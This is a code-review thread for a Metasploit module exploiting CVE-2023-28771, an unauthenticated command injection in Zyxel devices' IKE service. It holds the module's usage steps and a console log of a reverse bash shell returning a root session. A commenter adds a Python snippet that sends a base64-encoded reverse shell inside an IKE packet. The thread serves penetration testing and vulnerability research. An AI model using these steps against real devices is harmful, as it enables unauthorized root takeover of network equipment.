CVE-2023-28771 - Zyxel Command Injection

[sfewer-r7]

This module exploits CVE-2023-28771, a remote unauthenticated command injection vulnerability in the Internet Key Exchange (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. For a full technical analysis of the vulnerability read the Rapid7 AttackerKB Analysis.

Testing

A physical device is required for testing. The device must be running a vulnerable firmware version prior to the
vendor patch. A Zyxel USG FLEX 100 device was used during development and testing of this Metasploit module.

The attacker must be able to send UDP data to port 500 on the WAN interface of the affected network device.

Verification Steps

1. Start msfconsole
2. use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771
3. set RHOST <TARGET_WAN_IP>
4. set LHOST eth0
5. check
6. exploit
7. The default target 0 is a cmd/unix/reverse_bash payload. A root command shell session should be created.

[jvoisin]

Amazing work!

[jheysel-r7]

Thanks for the awesome module @sfewer-r7! Would you be able to include a pcap of the module running / exploiting the physical device? This would really help whoever ends up reviewing and landing this, cheers.

[sfewer-r7]

Thanks @jheysel-r7 , attached is a PCAP for the following session:

msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options

Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.86.40    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin
                                       g-metasploit.html
   RPORT    500              yes       The target port (UDP)
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.86.42    yes       The local host or network interface to listen on. This must be an address on the loca
                                       l machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.86.42    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check
[*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown.
msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Command shell session 1 opened (192.168.86.42:4444 -> 192.168.86.40:39127) at 2023-05-25 09:03:52 +0100

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
exit
[*] 192.168.86.40 - Command shell session 1 closed.
msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) >

cve_2023_28771.pcapng.zip

[smcintyre-r7]

This should be able to be replaced with the new fetch payloads, however right now it's infeasible because we don't have a MIPS64 adapter. I'll see about adding one and then we can rebase this once that's done to include it.

[fullspectrumdev]

This is cursed, but the Python Meterpreter payload might work here.

I've been toying around with the exploit a little, and something like the following (Python) works... I've been playing with ever more lengthy python reverse shells/whatnot, but there is no reason a Python Meterpreter won't work.

    python_code = b'import socket,subprocess,os;s=socket.socket(s......[snipped]
    enc_python = base64.b64encode(python_code)
    command = f"echo '{enc_python.decode('ascii')}' | /usr/bin/base64 -d | /usr/bin/python"
    packet = build_packet(command) # build IKE packet with command
    send_packet(packet, ip, port)

[sfewer-r7]

Hi @zeroSteiner I have rebased this pull request and reworked the module to support the fetch payloads. Tested and works great with a cmd/linux/http/mips64/meterpreter_reverse_tcp payload.

I have attached a PCAP cve_2023_28771.fetch.pcapng.zip of that working.

[smcintyre-r7]

Release Notes

This adds an exploit for CVE-2023-28771 which is a remote, unauthenticated OS command injection in IKE service of several Zyxel devices. Successful exploitation results in remote command execution as the root user.